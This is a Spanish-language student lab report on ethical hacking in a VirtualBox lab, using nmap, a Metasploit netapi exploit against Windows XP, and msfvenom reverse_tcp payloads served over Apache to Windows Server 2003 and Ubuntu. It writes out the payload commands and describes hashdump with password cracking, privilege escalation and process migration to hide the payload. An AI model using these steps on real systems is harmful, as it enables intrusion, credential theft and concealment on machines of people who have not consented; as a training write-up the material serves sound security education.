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1 Introducción  

En el presente informe se documenta la realización de prácticas de hacking ético 

utilizando Kali Linux como sistema atacante y diferentes sistemas operativos como víctimas, 

entre ellos Windows XP, Windows Server 2003 y Ubuntu Desktop. El objetivo principal de este 

trabajo fue poner en práctica técnicas de escaneo y explotación de vulnerabilidades a través del 

módulo Meterpreter de Metasploit Framework. 

Se emplearon herramientas como Nmap para la detección de servicios y puertos abiertos, 

así como msfvenom para la creación de payloads que permitieron establecer conexiones reversas 

hacia el atacante. Durante el proceso se analizaron vulnerabilidades clásicas de sistemas 

obsoletos, con el fin de comprender cómo los atacantes pueden aprovechar servicios inseguros y 

por qué es fundamental mantener los sistemas actualizados. 

 

 

 

 

 

 

 

 



 

2 Objetivos 

2.1 Objetivo General 

Realizar prácticas de hacking ético mediante el uso de Kali Linux y el módulo 

Meterpreter, con el fin de identificar y explotar vulnerabilidades presentes en sistemas 

operativos antiguos como Windows XP, Windows Server 2003 y Ubuntu Desktop, evaluando 

los resultados obtenidos. 

2.2 Objetivo Específico 

1) Utilizar Nmap para identificar los puertos abiertos y servicios activos en las 

máquinas víctimas. 

2) Configurar y ejecutar exploits de Metasploit Framework enfocados en 

vulnerabilidades conocidas de Windows y Linux. 

3) Aplicar payloads creados con msfvenom para establecer sesiones Meterpreter. 

4) Documentar los comandos utilizados en cada ataque y los resultados obtenidos. 

5) Analizar las diferencias entre las explotaciones realizadas en sistemas Windows y 

Linux. 

 

 

 

 

 

 

 



 

3 Capítulo 1 Hacking Ético desde Kali Linux hacia Windows XP y Windows 

Server 2003 utilizando el módulo Meterpreter. 

En este primer capitulo se muestran los pasos que se deben seguir para realizar un haking 

a Windows XP atreves de modulo Meterpreter. La herramienta que se utilizaran para realizar 

estos procesos son nmap y la consola de Metasploitable. 

El primer hacking que se muestra es el de Windows XP. 

3.1 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo 

Meterpreter. 

A continuación, se muestran los pasos para realizar este hacking. Primero se escaneo la 

dirección IP de Kali Linux para observar los puertos vulnerables de Windows XP, con el 

comando nmap -sV y la dirección IP de Kali Lunux. 

 

Ilustración 1 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 1 

Este escaneo muestra   la direccion IP , los puertos vulnerables y el nombre de la maquina 

victima, como se ve en la siguiente imagen. 

 

Ilustración 2 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 2 

Segundo paso, se ingreso al entorno o la consola de Metasploitanle con el comando 

msfconsole 



 

 

Ilustración 3 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 3 

Tercer paso, se busco los modulos disponibles de meterpreter con el comando search 

netapi. 

 

Ilustración 4 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 4 

Cuerto paso, se uso el metodo que suguiere explotar Metasploitable. 

 

Ilustración 5 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 5 

Quinto paso, se selecciona este comdulo con el comando use y el nombre del modulo. 

 

Ilustración 6 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 6 

Con el comando options se observaron los opciones que se deben configurar para 

explotar el modulo. 

 

Ilustración 7 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 7 



 

 

Ilustración 8 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 8 

Sexto paso, se registro la direccion IP de la maquina victina con el comando set RHOST 

y la direccion IP. 

 

Ilustración 9 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 9 

Una vez mas se utulizo el comando options para observar que el registro  de la IP de la 

maquina victima se haya guradado corecctamente. 

 

Ilustración 10 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 10 

Septimo paso, se ejecuto el exploit con el comando run. 

 

Ilustración 11 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 11 

Una vez dentro de meterpreter, se ejecuto el comando sysinfo para conocer todo la 

infromacion de la maquina victima. 



 

 

Ilustración 12 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 12 

Despues, se ejecuto el comando getudi y getsystem para escalar privilegios dentro del 

sistema. 

 

Ilustración 13 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 13 

Ademas, con el comando hashdump se conocieron los usuarios que tenia esta maquina, 

pero como se ve en la siguiente las contraseñas de todos los usuarios estaban encriptadas. 

 

Ilustración 14 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 14 

Para desencriptar las contraseñas se utilizo un sofware y este mostro efectivamente las 

contraseñas de algunos usarios que tenia la maquina victima. 

 

Ilustración 15 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 15 



 

Con el comando ps, se listaron todos los procesos que estsban siendo ejecutados en la 

maquina victima. 

 

Ilustración 16 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 16 

Con el comando ipconfig, se pudo observar la direccion IP actual de la maquina victima. 

 

Ilustración 17 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 17 

Con el comando shell se ingreso  como tal al sistema interno de la maquina que estsba 

siendo atacada. 



 

 

Ilustración 18 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 18 

Despues, ejecutando cd .. dos veces, se ubico en la raiz del sistema victima. 

 

Ilustración 19 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 19 

Con el comando dir, se listaron todas las carpetas que tenía el sistema. 

 

Ilustración 20 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 20 

Con el comando cd Doc* se accedió a la carpeta de documentos del sistema y con el 

comando dir, se listaron las carpetas que tenía la carpeta documento. 



 

 

Ilustración 21 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 21 

Con el comando cd wa*, se accedió a la carpeta de wayner y con el comando dir, se 

listaron las carpetas que tenia la carpeta wayner. 

 

Ilustración 22 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 22 

Con el comando cd Es*, se accedió a la carpeta escritorio y con el comando dir, se 

listaron las carpetas que tenía la carpeta escritorio. 



 

 

Ilustración 23 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 23 

Y con el comando mkdir, se creó una carpeta llamada LABORATORIO y luego 

ejecutando dir nuevamente, se listaron las carpetas dentro de la carpeta escritorio y se observa 

que la carpeta LABORATORIO fue creada correctamente. 

 

Ilustración 24 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 24 



 

Luego para observar que efectivamente se había hecho el hackeo de Windows XP atreves 

del módulo Meterpreter, se verifico en el entorno grafico de Windows XP la carpeta 

LABORATORIO se encontraba allí creada y se puedo concluir que el hacking fue realizado 

correctamente. 

 

Ilustración 25 Hacking Ético desde Kali Linux hacia Windows XP utilizando el módulo Meterpreter – paso 25 

El segundo hacking que se muestra es el de Windows Server 2003. Pero este hacking no 

se hizo como se realizo en Windows XP directamente con Meterpreter. En este hacking se creo 

un archivo.exe o ejecutable en Kali Linux y se envió a Windows Server 2003 y una vez se 

ejecutó el archivo.exe automáticamente se le dio acceso a Meterpreter a la máquina atacante o a 

Kali Linux. 

3.2 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el 

módulo Meterpreter. 

A continuación, se muestran los pasos para realizar este hacking. Primero se escaneo la 

dirección IP de Kali Linux para observar los puertos vulnerables de Windows Server 2003, con 

el comando nmap -sV y la dirección IP de Kali Lunux. 

 

Ilustración 26 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 1 

 



 

Este escaneo muestra   la direccion IP , los puertos vulnerables y el nombre de la maquina 

victima, como se ve en la siguiente imagen. 

 

Ilustración 27 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 2 

Segundo de ingreso al super usuario de Kali con el comando sudo su, como muestra en la 

siguiente imagen. 

 

Ilustración 28 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 3 

En el tercer paso se creo una carpeta dentro de Kali llamado LABORATORIO-02 con el 

comando mkdir y el nombre de la carpeta. 

 

Ilustración 29 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 4 

En el cuarto paso, se creo el archivo de ejecución dentro de la carpeta LABORATORIO 

con el comando msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.6 

LPORT=2008 -f exe > /home/franklin/LABORATORIO-02/laboratorio-02.exe, donde 

laboratorio-02.exe es el nombre del archivo. 



 

 

Ilustración 30 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 5 

Una vez creado el archivo con el comando ls, se observo que el archivo allá sido creado 

correctamente. 

 

Ilustración 31  Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 6 

En el quinto paso, se activo el servicio de apache2 de Kali Linux con el comando service 

apache2 start. 

 

Ilustración 32 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 7 

Con el comando service apache2 status, se observo el estado del servicio apache2. 

 

Ilustración 33 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 8 



 

En el sexto paso, se accedió a la ruta /var/www/html con el comando cd y la ruta antes 

mencionada. Y con el comando chmod 777 y esta misma ruta, se le concedieron los permisos 

para poder modificar archivos de este ruta. 

 

Ilustración 34 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 9 

Con el comando sudo mv, se cambio el nombre del index2.hmtl a index3.html, para que 

cuando se ingresara al http de Kali Linux no mostrara el index.html por defecto, si no que se 

pudiera elegir cual archivo ejecutar. 

 

Ilustración 35 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 10 

Y una vez que se realizo el proceso anterior se accedió al http de Kali Linux por medio de 

la dirección IP y este mostro los archivos que se puedian ejecutar allí dentro. 

 

Ilustración 36 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 12 

Luego de realizar ese proceso anterior. Se accedió a la carpeta LABORATORIO-02. 

 



 

 

Ilustración 37 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 13 

Y para pasar el archivo creado en la carpeta LABORATORIO-02 a la ruta 

/var/www/html, se utilizo el comando cp el nombre del archivo y la ruta especificada. 

 

Ilustración 38 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 14 

Para verificar que se pasó el archivo correctamente, se accedió nuevamente a la ruta 

/var/www/html con el comando cd y después el comando ls  se listaron los archivos que habían  

dentro de la ruta y entre eso estaba el archivo creado en la carpeta LABORATORIO-02 

 

Ilustración 39 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 15 

Una vez realizada la verificación del archivo en la ruta /var/www/html, se actualizo el 

http de Kali y el archivo estaba en la lista que muestra al ingresar la dirección IP de Kali en el 

explorador de Windows Server 2003. 



 

 

Ilustración 40 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 16 

Después, se descargo el archivo laboratorio-02, como muestra la siguiente imagen. 

 

Ilustración 41 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 17 

Y el archivo se guardó en el escritorio, como muestra la siguiente imagen, 

 

 

Ilustración 42 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 18 

Para verificar que el archivo se había descargado correctamente, se ingresó el entorno 

grafico de Windows Server 2003 y se verifico que el archivo había sido descargado 

correctamente   



 

 

 

Ilustración 43 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 19 

El sisguiente paso que se realizo el utilizar el metodo handker para ingresar al 

Meterpreter de la maquina victima una vez ejecutado el archivo. 

Primero se busco el metodo o los metodos dsiponibles con el comando search 

multi/handler. 

 

Ilustración 44 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 20 

Esta búsqueda mostro varios módulos, como se ve en la siguiente imagen. 

 

Ilustración 45 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 21 

Con el comando use se selecciono el modulo 7 para realizar el exploit. 

 

Ilustración 46 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 22 

Con el comando options, se observaron las opciones que tenía el módulo y se debían 

modificar. 



 

 

Ilustración 47 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 23 

Con el set payload se le asigno el payload que se estableció en el archivo creado en Kali 

Linux y que se envió a Windows Server 2003. 

Con el comando set LHOST se le asigno la dirección IP de la maquina atacate y con este 

mismo comando se le asigno el puerto establecido en el archivo antes mencionado. 

 

Ilustración 48 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 24 

Luego se ejecuto el archivo en Windows Server 2003. 

 

Ilustración 49 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 25 

Y también se ejecutó el exploit, dando como resultado que el hacking fue correcto, ya que 

se pudo ingresar a Meterpreter de la maquina victima como lo muestra la siguiente imagen. 

 



 

 

Ilustración 50 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 26 

Una vez dentro de Meterpreter, se ejecuto el comando sysinfo para visualizar la 

información del sistema victima. 

 

Ilustración 51 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 27 

Con el comando getuid y getsystem se intento escalar a los privilegios del sistema 

victima. 

 

Ilustración 52 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 28 

Con el comando ps, se listan los procesos que se estaban ejecutando en el sistema 

víctima. Y como se ve en la imagen que su ve a continuación, el archivo laboratorio-02.exe 

estaba siendo ejecutado. 



 

 

Ilustración 53 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 29 

También se ingresó al administrador de archivos de Windows Server 2003 y este mismo 

archivo estaba siendo ejecutado, como los muestra la siguiente imagen. 

 

Ilustración 54 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 29 

Después, utilizando el comando migrate y los PID del archivo laboratorio-02.exe y 

explorer.exe, se migro el archivo laboratorio-02.exe a explorer.exe, para guardar el archivo. 

 

Ilustración 55 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 30 

Y después de migar el archivo, se ingresó nuevamente al administrador de tareas de 

Windows Server 2003 y como lo muestra la siguiente imagen, el archivo no era visible porque ya 

estaba migrado a otro archivo. 



 

 

Ilustración 56 Hacking Ético desde Kali Linux hacia Windows Server 2003 utilizando el módulo Meterpreter - paso 31 

Y así se realiza la explotación y el hacking de Windows XP y Windows Server 2003 

desde Kali Linux a través del método Meterpreter. 

 

 

 

 

 

 



 

4 Capítulo 2 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el 

módulo Meterpreter. 

Este segundo capítulo, se realizó el mismo proceso o hacking que se hizo en Windows 

Server 2003 pero esta vez utilizando una distribución de Kali o Ubuntu. La maquina virtual 

escogida fue Ubuntu Desktop, pero primero se muestra como se descarga e instalar esta máquina 

virtual. 

4.1 Descargar e Instalar Ubuntu Desktop en VirtualBox. 

Para descargar Ubuntu, primero se ingreso a la pagina oficial y se descargó la imagen iso. 

 

Ilustración 57 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 1 

Y cuando se dio clic en descargar la imagen iso, se empezo a decsragar la imagen iso. 

 

Ilustración 58 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 2 

Y una vez descargada la imagen, se guardo el archivo en la computadora. 

 

Ilustración 59 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 3 



 

Despues, se creo la maquina virtual en VirtualBox, primero se le puso el nombre y se 

selecciona la imagen iso nates descargada. 

 

Ilustración 60 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 4 

Luego se omitio la instalacion desatendia y se realizo la configuracion de la memoria 

base y los procesadores. 

 

Ilustración 61 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 6 

Terminado de configurar el hardware, se realizo la configuracion del disco, donde se le 

asigno la cantidad de GB que tendria el disco virtual. 

 

Ilustración 62 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 7 



 

Y se puedo observar que la maquina se creo correctamente. 

 

Ilustración 63 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 8 

Luego se inicio la maquina virtual. 

 

Ilustración 64 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 9 

La primera opcion que se escogio fue instalar ubuntu cunado se inicio la maquina. 

 

Ilustración 65 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 10 

Despues, se escogio el lenguaje español. 

 

Ilustración 66 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 11 



 

Tambien se escogio el teclado en español. 

 

Ilustración 67 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 12 

Ademas se escogio la opcion de instalar ubuntu. 

 

Ilustración 68 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 13 

 

 

 

 



 

Luego se escogio la opcion de instacion interactiva. 

 

Ilustración 69 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 14 

Y se escogio la selección predeterminada de las aplicaciones a instalar. 

 

Ilustración 70 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 15 

 

 

 

 

 



 

Tambien se escogio la opcion de borar disco e instalar ubuntu. 

 

Ilustración 71 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 16 

Despues se configuro el usuario y contraseña del sistema. 

 

Ilustración 72 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 17 

 

 

 

 



 

Ademas se selecciono la ubucacion del archivo. 

 

Ilustración 73 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 18 

Y se dio clic para que empezara a instalar el sistema. 

 

 

Ilustración 74 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 19 

 

Ilustración 75 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 20 



 

Y por ultimo se escogio la opcion s reinicar el sistema ahora despues de haber teminado 

de instalar. 

 

Ilustración 76 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 21 

Despues de instalar la maquina, se realizo la asignacion de la direccion IP de la red NAT 

creada para el entorno de hacking en VirtualBox. 

Primero se ingreso a la configiracion de la maquina.  

 

Ilustración 77 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 22 

Despues de diregio a la barra de red y donde dice conetado a, se escogio Red NAT y se 

dio clic en aceptar. 



 

 

Ilustración 78 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 23 

Una vez cobfigurada la Red NAT para Ubuntu, se ingreso a la maquina y desde la 

terminar con el comando ifconfig se conocio la direccion IP de la maquina. 

 

Ilustración 79 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 24 

4.2 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo 

Meterpreter. 

Despues de conocer la IP de la maquina Ubuntu, se empezo a realizar el hacking atarvez 

de Meterpreter para este maquina victima. 

Primero se creo el archivo dentro de la carpeta que ya se habia LABORATORIO-02 

anteriormeente, pero antes se accedio a la carpeta con el comando cd LABORATORIO-02, luego 

con el comando msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.6 

LPORT=4444 -f elf > /home/franklin/LABORATORIO-02/shell.elf, donde shell.elf es el nombre 

del archivo. 



 

 

Ilustración 80 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 1 

Despues con el mando cp se copio el arhcivo shell.elf a la rtua /var/www/html, luiego con 

el comando cd se accedio a la ruta antes especificado y con el comando ls, se listaron los 

archivos dentro de esta ruta y se observo el archivo shell.elf. 

 

Ilustración 81 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 2 

Luego de eso se accedio desde el navegador de Ubuntu y con direccion IP de Kali Linux 

al http de Kali y se observa el archivo shell.elf. 

 

Ilustración 82 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 3 



 

Despues, se guardo este archivo, como muestra la siguiente imagen. 

 

Ilustración 83 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 4 

La carepta escogida para guardar el archivo fue escritorio. 

 

Ilustración 84 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 5 

Cuando se guardo el archivo en el escritorio de Ubuntu, se esploto el modulo de handler, 

para acceder a Meterpreter de la maquina victima una vez se ejecutara el archivo shell.elf. 

Primero se busco los msdulos disponibles con el comando search multi/handler. 

 

Ilustración 85 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 6 

 



 

Esta busqueda, arrojo varios modelos. 

 

Ilustración 86 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 7 

El modulo que se escogio fue el 7 con el comando use y se observaron las caracteristicas 

de este modulo con el comando options. 

 

Ilustración 87 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 8 

Luego con el comando set payload, se asigno el payload que hace referencia al archivo 

shell.elf, ademas con el comando set LHOST se le asigo la IP de la amquina atacante y el puerto 

relacionado al del archivo shell.elf. 

 

Ilustración 88 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 9 

 



 

 

Despues se ejecuto el arhcivo en Ubuntu pero atraves de codigo, primero con el comando 

cd y la ruta donde esta el archivo se accede a esta, despues con el comando chmod +x y el 

nombre del archivo se le consedieron los permisos al archivo shell.elf para ser ejecutado, y por 

ultimo con comando ./shell.elf se ejecuto este archivo. 

 

Ilustración 89 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 10 

Y tambien se ejecuto el exploit con el comando run y este hacking fue correcto, ya que se 

puedo accercer al Meterpreter de Ubuntu. 

Para confirma eso, se digito el comando sysinfo y miarar la informacion de la maquina 

victima. 

 

Ilustración 90 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 11 

Con el comando getuid y getsystem se intento escalar a los privilegios de sistema. 



 

 

Ilustración 91 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 12 

Con el comando ps, se listaron los archivos que se estaban ejecutando en el sistema 

victima. 

 

Ilustración 92 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 13 

Y se observo que el archivo shell.elf estaba siendo ejecutado de manera correcta en ek 

sistema. 

 

Ilustración 93 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 14 

En este los sistema Linux no permiten migrar archivos como en Windows, pero se ejecuto 

el comando shell y este dio acceso a sistema Ubuntu como tal, se ejecuto el comando ls y este 

listo las archivo que estaban creados en esa carepta. 



 

 

Ilustración 94 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 15 

Ademas con el comando mkdir se creo una carpeta llamada estoy_dentro y luego con ls, 

se listaron los archivos y carpetas dentro de esa carpeta y este mostro la carpetas llamada 

estoy_dentro. 

 

Ilustración 95 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 16 

Y para verificar que fue correcto el hacking se accedio al enterno grafico de Ubuntu y  se 

verifico que la carepta esta creada correctamente, concluyendo asi que el hacking fue exitoso. 

 

Ilustración 96 Hacking Ético desde Kali Linux hacia Ubuntu utilizando el módulo Meterpreter - paso 17 

Y así es como de realiza un hacking utilizando un archivo ejecutable desde Kali Linux a 

una máquina virtual con sistema operativo Linux o Ubuntu. 

 

 

 

 



 

5 Posibles Errores 

Durante la práctica se presentaron algunos inconvenientes que dificultaron la explotación: 

❖ En ciertos escaneos de puertos con Nmap no se identificaron vulnerabilidades 

explotables. Esto puede deberse a que las versiones de los servicios instalados en 

las máquinas víctimas ya no son vulnerables a los exploits utilizados, o a 

configuraciones de seguridad adicionales. 

❖ Algunos módulos de Metasploit no generaron sesiones Meterpreter, mostrando 

errores como Login Failed o Exploit aborted due to failure. Esto suele pasar 

cuando el exploit no es compatible con la versión exacta del servicio en ejecución. 

❖ En sistemas Linux modernos, comandos como migrate no están soportados, lo que 

limita las acciones posteriores a la explotación. 

 

 

 

 

 

 

 

 

 



 

6 Conclusiones  

El desarrollo de estas prácticas permitió comprender cómo funciona un ataque: escaneo, 

explotación y post-explotación. Se comprobó que sistemas antiguos como Windows XP y 

Windows Server 2003 son altamente vulnerables y permiten obtener acceso remoto con 

facilidad. En el caso de Ubuntu, el ataque fue exitoso únicamente mediante la ejecución manual 

de un archivo malicioso generado con msfvenom. 

Asimismo, se evidenció que no todos los módulos de Metasploit son efectivos en todas 

las versiones de un servicio. Finalmente, se concluye que mantener los sistemas actualizados y 

con configuraciones seguras es esencial para prevenir accesos no autorizados. 
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